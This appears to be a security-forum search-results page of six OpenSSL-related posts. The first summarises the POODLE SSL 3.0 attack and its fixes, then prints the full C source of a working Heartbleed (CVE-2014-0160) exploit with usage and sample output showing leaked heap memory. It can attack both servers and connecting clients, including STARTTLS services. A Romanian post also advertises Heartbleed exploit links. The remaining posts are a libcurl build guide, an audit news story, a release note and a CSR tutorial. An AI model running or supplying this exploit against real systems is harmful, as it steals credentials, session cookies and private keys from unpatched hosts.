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Found 6 results

  1. POODLE Revine in forta. Introduction SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 [RFC4346], and TLS 1.2 [RFC5246], many TLS implementations remain backwards*compatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. The protocol handshake provides for authenticated version negotiation, so normally the latest protocol version common to the client and the server will be used. The POODLE Attack To work with legacy servers, many TLS clients implement a downgrade dance: in a first handshake attempt, offer the highest protocol version supported by the client? if this handshake fails, retry (possibly repeatedly) with earlier protocol versions. Unlike proper protocol version negotiation (if the client offers TLS 1.2, the server may respond with, say, TLS 1.0), this downgrade can also be triggered by network glitches, or by active attackers. So if an attacker that controls the network between the client and the server interferes with any attempted handshake offering TLS 1.0 or later, such clients will readily confine themselves to SSL 3.0. Recommendations The attack described above requires an SSL 3.0 connection to be established, so disabling the SSL 3.0 protocol in the client or in the server (or both) will completely avoid it. If either side supports only SSL 3.0, then all hope is gone, and a serious update required to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only possible protocol version, then the attack is possible if the client uses a downgrade dance for interoperability. Impact The POODLE attack can be used against any system or application that supports SSL 3.0 with CBC mode ciphers. This affects most current browsers and websites, but also includes any software that either references a vulnerable SSL/TLS library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By exploiting this vulnerability in a likely web-based scenario, an attacker can gain access to sensitive data passed within the encrypted web session, such as passwords, cookies and other authentication tokens that can then be used to gain more complete access to a website (impersonating that user, accessing database content, etc.). Solution There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is fundamental to the protocol; however, disabling SSL 3.0 support in system/application configurations is the most viable solution currently available. Some of the same researchers that discovered the vulnerability also developed a fix for one of the rerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents MITM attackers from being able to force a protocol downgrade. OpenSSL has added support for TLS_FALLBACK_SCSV to their latest versions and recommend the following upgrades: - OpenSSL 1.0.1 users should upgrade to 1.0.1j. - OpenSSL 1.0.0 users should upgrade to 1.0.0o. - OpenSSL 0.9.8 users should upgrade to 0.9.8zc. Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade attacks. Other SSL 3.0 implementations are most likely also affected by POODLE. Contact your vendor for details. Additional vendor information may be available in the National Vulnerability Database (NVD) entry for CVE-2014-3566 or in CERT Vulnerability Note VU#577193.[7] Vulnerable TLS implementations need to be updated. CVE ID assignments and vendor information are also available in the NVD.[8] Exploit /* * Heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65535 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out * $ hexdump -C out * - snip - snip * * Use following example command to generate certificates for clients. * * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ * -keyout server.key -out server.crt * * Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \ * -lssl -Wl,-Bdynamic -lssl3 -lcrypto" * * todo: add udp/dtls support. * * - Beyondtrust * http://www.beyondtrust.com * */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <signal.h> #include <netdb.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <inttypes.h> #include <openssl/bio.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/evp.h> #include <openssl/tls1.h> #include <openssl/rand.h> #include <openssl/buffer.h> #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ (((unsigned int)(c[1])) )),c+=2) #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ c[1]=(unsigned char)(((s) )&0xff)),c+=2) int first = 0; int leakbytes = 0; int repeat = 1; int badpackets = 0; typedef struct { int socket; SSL *sslHandle; SSL_CTX *sslContext; } connection; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int); int tcp_connect(char* server,int port){ int sd,ret; struct hostent *host; struct sockaddr_in sa; host = gethostbyname(server); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); bzero(&(sa.sin_zero),8); printf("[ connecting to %s %d/tcp\n",server,port); ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); if(ret==0){ printf("[ connected to %s %d/tcp\n",server,port); } else{ printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port); exit(0); } return sd; } int tcp_bind(char* server, int port){ int sd, ret, val=1; struct sockaddr_in sin; struct hostent *host; host = gethostbyname(server); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } memset(&sin,0,sizeof(sin)); sin.sin_addr=*((struct in_addr *) host->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons(port); setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); if(ret==-1){ printf("[!] cannot bind socket\n"); exit(0); } listen(sd,5); return(sd); } void ssl_init(){ SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_digests(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); } connection* tls_connect(int sd){ connection *c; c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } connection* tls_bind(int sd){ int bytes; connection *c; char* buf; buf = malloc(4096); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_server_method()); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key\n"); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle)); bytes = SSL_read(c->sslHandle, buf, 4095); printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } int pre_cmd(int sd,int precmd,int verbose){ /* this function can be used to send commands to a plain-text service or client before heartbleed exploit attempt. e.g. STARTTLS */ int rc, go = 0; char* buffer; char* line1; char* line2; switch(precmd){ case 0: line1 = "EHLO test\n"; line2 = "STARTTLS\n"; break; case 1: line1 = "CAPA\n"; line2 = "STLS\n"; break; case 2: line1 = "a001 CAPB\n"; line2 = "a002 STARTTLS\n"; break; default: go = 1; break; } if(go==0){ buffer = malloc(2049); if(buffer==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buffer,0,2049); rc = read(sd,buffer,2048); printf("[ banner: %s",buffer); send(sd,line1,strlen(line1),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } send(sd,line2,strlen(line2),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } } return sd; } void* heartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u\n",type); s2n(type,p); break; } printf("[ <3 <3 <3 heart bleed <3 <3 <3\n"); ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); OPENSSL_free(buf); return c; } void* sneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned mac_size, orig_len; size_t extra; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) extra=SSL3_RT_MAX_EXTRA; else extra=0; if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < SSL3_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length.\n"); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } goto apple; } } if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ i=rr->length; n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } printf("[ decrypting SSL packet\n"); s->rstate=SSL_ST_READ_HEADER; rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); rr->data=rr->input; tls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u\n",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); } printf("\n"); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u\n", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write\n"); } return; apple: printf("[ problem handling SSL record packet - wrong type?\n"); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } return; } void usage(){ printf("[\n"); printf("[ --server|-s <ip/dns> - the server to target\n"); printf("[ --port|-p <port> - the port to target\n"); printf("[ --file|-f <filename> - file to write data to\n"); printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n"); printf("[ --precmd|-c <n> - send precmd buffer (STARTTLS)\n"); printf("[ 0 = SMTP\n"); printf("[ 1 = POP3\n"); printf("[ 2 = IMAP\n"); printf("[ --loop|-l - loop the exploit attempts\n"); printf("[ --type|-t <n> - select exploit to try\n"); printf("[ 0 = null length\n"); printf("[ 1 = max leak\n"); printf("[ n = heartbeat payload_length\n"); printf("[\n"); printf("[ --verbose|-v - output leak to screen\n"); printf("[ --help|-h - this output\n"); printf("[\n"); exit(0); } int main(int argc, char* argv[]){ int ret, port, userc, index; int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9; int loop = 0; struct hostent *h; connection* c; char *host, *file; int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0; printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n"); printf("[ =============================================================\n"); static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"file", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"bind", 1, 0, 'b'}, {"verbose", 0, 0, 'v'}, {"precmd", 1, 0, 'c'}, {"loop", 0, 0, 'l'}, {"help", 0, 0,'h'} }; while(userc != -1) { userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvh",options,&index); switch(userc) { case -1: break; case 's': if(ihost==0){ ihost = 1; h = gethostbyname(optarg); if(h==NULL){ printf("[!] FATAL: unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); } break; case 'p': if(iport==0){ port = atoi(optarg); iport = 1; } break; case 'f': if(ifile==0){ file = malloc(strlen(optarg) + 1); if(file==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(file,"%s",optarg); ifile = 1; } break; case 't': if(itype==0){ type = atoi(optarg); itype = 1; } break; case 'h': usage(); break; case 'b': if(ihost==0){ ihost = 1; host = malloc(strlen(optarg)+1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); bind = 1; } break; case 'c': if(iprecmd == 0){ iprecmd = 1; precmd = atoi(optarg); } break; case 'v': verbose = 1; break; case 'l': loop = 1; break; default: break; } } if(ihost==0||iport==0||ifile==0||itype==0||type < 0){ printf("[ try --help\n"); exit(0); } ssl_init(); if(bind==0){ ret = tcp_connect(host, port); pre_cmd(ret, precmd, verbose); c = tls_connect(ret); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=1; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } else{ int sd, pid, i; ret = tcp_bind(host, port); while(1){ sd=accept(ret,0,0); if(sd==-1){ printf("[!] FATAL: problem with accept()\n"); exit(0); } if(pid=fork()){ close(sd); } else{ c = tls_bind(sd); pre_cmd(ret, precmd, verbose); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=0; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } } } } Source
  2. Configuring libcurl 7.41.0 with OpenSSL for Visual Studio 2013 In this tutorial I will go over configuring Visual Studio for seamless usage with the libcurl 7.41.0 and OpenSSL libraries. I have included references to articles found related to the compilation and common issues. What is curl? curl is a command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet and TFTP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, HTTP/2, cookies, user+password authentication (Basic, Plain, Digest, CRAM-MD5, NTLM, Negotiate and Kerberos), file transfer resume, proxy tunneling and more. Required tools & libraries 1.] Visual Studio 2013 for Desktop (Ultimate, Team, etc) 2.] ActivePerl 5.20.1 3.] 7-Zip 9.20 for Extracting tar.gz 4.] OpenSSL 1.0.2 5.] curl 7.41.0 Compiling OpenSSL static libraries OpenSSL has made it quite easy with integrating Perl and Visual Studio to compile right from the Visual Studio Command Prompt. 1.] Verify ActivePerl 5.20.1 and Visual Studio 2013 are correctly installed. 2.] Download and extract OpenSSL with 7-Zip, in this example we will use: C:\openssl 3.] Open the Visual Studio Developer Command Prompt 4.] Start -> All Programs -> Visual Studio 2013 -> Visual Studio Tools -> Developer Command Prompt for VS2013 5.] Make sure to run as administrator in case there any file permission errors while executing Perl Now, we are ready to configure OpenSSL, as said there is no major changes that need made to make this function without issue. We have a few options depending on the specifics of your target base, in this case, I am going to deploy 32 bit static libraries as they work fine on the x64 based processor line. 1.] In the command prompt, change to the directory you extracted OpenSSL, I used c:\openssl. 2.] cd c:\openssl Type the build that best suits your needs, you can just copy the following and it should execute without problem. Building the 32-bit static libraries perl Configure VC-WIN32 --prefix=C:\Build-OpenSSL-VC-32 ms\do_ms nmake -f ms\nt.mak nmake -f ms\nt.mak install Building the 32-bit static libraries with debug symbols perl Configure debug-VC-WIN32 --prefix=C:\Build-OpenSSL-VC-32-dbg ms\do_ms nmake -f ms\nt.mak nmake -f ms\nt.mak install Building the 64-bit static libraries perl Configure VC-WIN64A --prefix=C:\Build-OpenSSL-VC-64 ms\do_win64a nmake -f ms\nt.mak nmake -f ms\nt.mak install Building the 64-bit static libraries with debug symbols perl Configure debug-VC-WIN64A --prefix=C:\Build-OpenSSL-VC-64-dbg ms\do_win64a nmake -f ms\nt.mak nmake -f ms\nt.mak install After executing it may take a minute, but will output your includes and static libraries afterwords. perl util/copy.pl "out32\openssl.exe C:\Build-OpenSSL-VC-32\bin" Copying: out32/openssl.exe to C:/Build-OpenSSL-VC-32/bin/openssl.exe perl util/mkdir-p.pl "C:\Build-OpenSSL-VC-32\ssl" created directory `C:/Build-OpenSSL-VC-32/ssl' perl util/copy.pl apps\openssl.cnf "C:\Build-OpenSSL-VC-32\ssl" Copying: apps/openssl.cnf to C:/Build-OpenSSL-VC-32/ssl/openssl.cnf perl util/copy.pl "out32\ssleay32.lib" "C:\Build-OpenSSL-VC-32\lib" Copying: out32/ssleay32.lib to C:/Build-OpenSSL-VC-32/lib/ssleay32.lib perl util/copy.pl "out32\libeay32.lib" "C:\Build-OpenSSL-VC-32\lib" Copying: out32/libeay32.lib to C:/Build-OpenSSL-VC-32/lib/libeay32.lib Note: * If you are trying to link your libraries and receive an error relating to ml64, then your Visual Studio isn't configured as x64, you will need to go in the OpenSSL folder and delete the tmp32 folder and recompile as a 32 bit library, if this folder is not deleted you will continue to receive errors. 1.] After it's compiled, go to the output directory, example, C:\Build-OpenSSL-VC-32. 2.] Open your Visual Studio C directory, example, C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC. 3.] Copy and merge the 'lib' and 'include' directory from the OpenSSL output directory into the 'C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC' directory. You are done with the OpenSSL portion. Compiling libcurl static libraries Now, that you have that done. We will need to configure libcurl. It has been made quite simple if you download the latest build, it comes with Visual Studio 2013 projects included. 1.] Extract libcurl 2.] Open libcurl folder, then go to: projects -> Windows -> VC12 3.] Open 'curl-all.sln' 4.] Go to Build -> Uncheck 'curlsrc' as we don't need this. 5.] Under 'libcurl', Choose LIB Release - LIB OpenSSL, as it will bind a static library that does not require exported DLLs. After it's done compiling, go to the 'curl-7.41.0' directory. Copy and merge the 'include' folder from there with 'C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC' as we did in the previous steps while setting up OpenSSL. There will also be a 'build' folder in the root of the 'curl-7.41.0' directory. build -> Win32 -> VC12 -> LIB Release - LIB OpenSSL Copy the file 'libcurl.lib' into the 'lib' folder located at 'C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC'. Since these are static libraries, not all functions from Windows have been previously exported. You will still need to link against 'Ws2_32.lib' and 'Wldap32.lib' for specific functions of 'libcurl' in Visual Studio, however you will not need any external DLL files. Make sure to define 'CURL_STATICLIB' in your Preprocessor Definitions. If you are having linker errors, try going to your Project Properties -> Linker -> Additional Dependencies in your Visual Studio project. Add the following: libcurl.lib libeay32.lib ssleay32.lib ws2_32.lib wldap32.lib You should be good to go after this. Example source for Visual Studio 2013.. #include "stdafx.h" #include <windows.h> #include <stdio.h> #include <curl\curl.h> int main(void) { CURL *curl; CURLcode res; curl = curl_easy_init(); if (curl) { curl_easy_setopt(curl, CURLOPT_URL, "http://example.com"); /* example.com is redirected, so we tell libcurl to follow redirection */ curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); /* Perform the request, res will get the return code */ res = curl_easy_perform(curl); /* Check for errors */ if (res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); /* always cleanup */ curl_easy_cleanup(curl); } return 0; } References: http://developer.covenanteyes.com/building-openssl-for-visual-studio/ Source: sludg3 @ TF
  3. Funding from the Core Infrastructure Initiative has helped the maintainers of OpenSSL, one of the Internet’s most-deployed pieces of open source software, begin to get the crypto implementation on its feet. Despite its ubiquity, OpenSSL has historically been under-funded and under-resourced, though no one outside those close to the project knew how dire the situation was until Heartbleed and other Internet-wide bugs started experts looking closely at the security of open source software. With funding from CII and other corners of the Internet, full time help has been hired to maintain the regular flow of patches and feature upgrades, and since last spring, get the code base ship-shape for a full-fledged security audit. NCC Group Cryptography Services, the security company behind the first phase of the TrueCrypt audit, Monday announced that it, in partnership with the Linux Foundation, will conduct an audit of OpenSSL, looking at key components likely to put installations at risk in the event of a critical vulnerability. “A number of folks who have contributed their free time and professional time, kept OpenSSL growing,” said Tom Ritter, principal security engineer at NCC. “A lot of those contributions were around making OpenSSL more efficient and improving speed—and security improvements. Now, being able to have people work on it fulltime in a maintenance capacity goes long way. Any project that old accumulates technical debt takes that takes time and effort to pay down. Having fulltime focus on bug maintenance is super important.” OpenSSL’s code cleanup paved the way for the audit, Ritter said. Engineers spent significant time re-reading areas of code of most concern—and fixing bugs along the way—in order to make the code more reliable, consistent and secure. Ritter said work on the audit should begin shortly, and the first set of results will be made available mid-Summer after OpenSSL has had time to review the results and patch. Ritter said the audit will be concentrated only in certain critical areas of the OpenSSL codebase, and will not be comprehensive. In scope are the TLS stacks, covering protocol flow, state transitions, and memory management. The BIOS, high-profile crypto algorithms and fuzzing of the ASN.1 and x509 parsers will also happen, Ritter said, adding that input and feedback from the current OpenSSL team also contributed to what ultimately ended up in scope for the audit. “We chose areas around OpenSSL where a flaw here might be of higher severity than other areas,” Ritter said. “The types of things we’ll be looking for are things such as protocol mishandling or state transitions, things like that, even timing attacks in crypto algorithms, or memory corruption that would yield a denial of service condition or remote code execution. Those are the types of bugs looking for. If find one of those, it has the possibility of being fairly critical.” Unlike the TrueCrypt audit where one of the stated goals was to determine whether the popular encryption software had been backdoored, that isn’t necessarily the case with OpenSSL, Ritter said. “You haven’t heard much about [backdoors] in OpenSSL,” Ritter said. “Our real goal is to find any sort of exploitable security concerns. I think that we’re focusing on it from the perspective of a security audit.” Expect Ritter and his team to spend plenty of time in front of large whiteboards for the next few months, tracing out function flows and diagram the code in order to support the manual and automated code review it will take to properly assess OpenSSL. And while the audit may not yield something as dramatic as Heartbleed, you can expect Ritter’s team to be looking in that direction. “Certainly looking at historical bugs in the platform gives us an idea of the types of flaws present still; it will be helpful,” Ritter said. “I’m not going to say we’re doing to go in expecting to find any particular bug in a particular area, but looking at historical bugs does guide us in certain areas as do a lot of the less high-profile bugs. Looking at just about any bug and seeing the underlying causes of it gives us a sense that if something similar is happening elsewhere, there could be a bug there.” Source
  4. OpenSSL is a robust, fully featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols with full-strength cryptography world-wide. Changes: Build fixes for the Windows and OpenVMS platforms. Download
  5. De 3 saptamani tot auzim de bugul asta pe la stiri si emisiuni gen "I like it" cu prezentatorul ala care nu are nici o treaba cu IT-ul (mereu ma face sa rad) si totusi nu toti sau securizat...va arat un tutorial si va dau linkurile de la exploituri. Sunt doua exploituri Server Side(PaceMaker.py) si Client Side (HeartBleed.py)! Versiuni exploitabile:
  6. CSR (Certificate signing request) este un certificat generat de un utilizator care este trimis unei companii ce furnizeaza certificate SSL. In acest scurt tutorial o sa va arat cum puteti genera corect acest certificat. Generam un key pentru site-ul web. Marimea standarda folosita este de 2048 bits. shell ~ # openssl genrsa -des3 -out rstcenter.key 2048 Generam Certificat de request (CSR). Certificatul .csr il furnizam la compania care ne elibereaza certificatul SSL shell ~ # openssl req -new -key rstcenter.key -out rstcenter.csr Generam o versiune neprotejata cu parola pentru certificat. In caz contrar, apache va cere parola la start / restart shell ~ # openssl rsa -in rstcenter.key -out rstcenter.key.insecure Pastram fisierul protejat de parola in continuare shell ~ # mv rstcenter.key rstcenter.key.secure Mutam / Redenumim key-ul neprotejat in fisierul de baza shell ~ # mv rstcenter.key.insecure rstcenter.key Nota: Recomand sa dati chmod 640 pe certificatele SSL.
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